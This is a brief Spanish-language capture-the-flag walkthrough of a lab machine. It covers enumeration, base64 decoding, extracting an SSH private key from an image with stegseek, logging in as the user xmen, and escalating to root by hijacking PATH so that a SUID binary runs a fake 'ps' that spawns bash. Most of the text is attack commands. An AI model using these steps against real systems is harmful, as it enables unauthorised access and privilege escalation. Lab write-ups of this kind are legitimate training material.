Enumeramos puertos (22, 80). El robots.txt y un comentario del código fuente traen cadenas base64 (multi-encode):
❯ # robots.txt: eW91IGZpbmQgdGhlIGhpZGRlbiBkaXI= → you find the hidden dir
❯ echo "VWtaS1FsSXdPVTlKUlVwQ1ZFVjNQUT09" | base64 -d | base64 -d | base64 -d
DRAGON BALLEl directorio oculto es /DRAGON BALL/, con secret.txt, login.html (título "xmen") y aj.jpg. La imagen esconde una clave SSH:
❯ stegseek -wl kaonashi.txt aj.jpg
[i] Found passphrase: "love"
[i] Original filename: "id_rsa".Entramos por SSH como xmen:
❯ ssh xmen@192.168.1.48 -i id_rsa
xmen@debian:~$Obtenemos la primera flag. En el home hay un binario SUID con su fuente, que llama a ps sin ruta absoluta → PATH Hijacking:
void main()
{ setuid(0); setgid(0); system("ps"); }xmen@debian:/tmp$ echo -e '#!/bin/bash\nbash -i' > ps ; chmod +x ps
xmen@debian:/tmp$ export PATH=/tmp:$PATH
xmen@debian:~$ ./shell # ejecuta el SUID → rootObtenemos la flag de root.
Fin.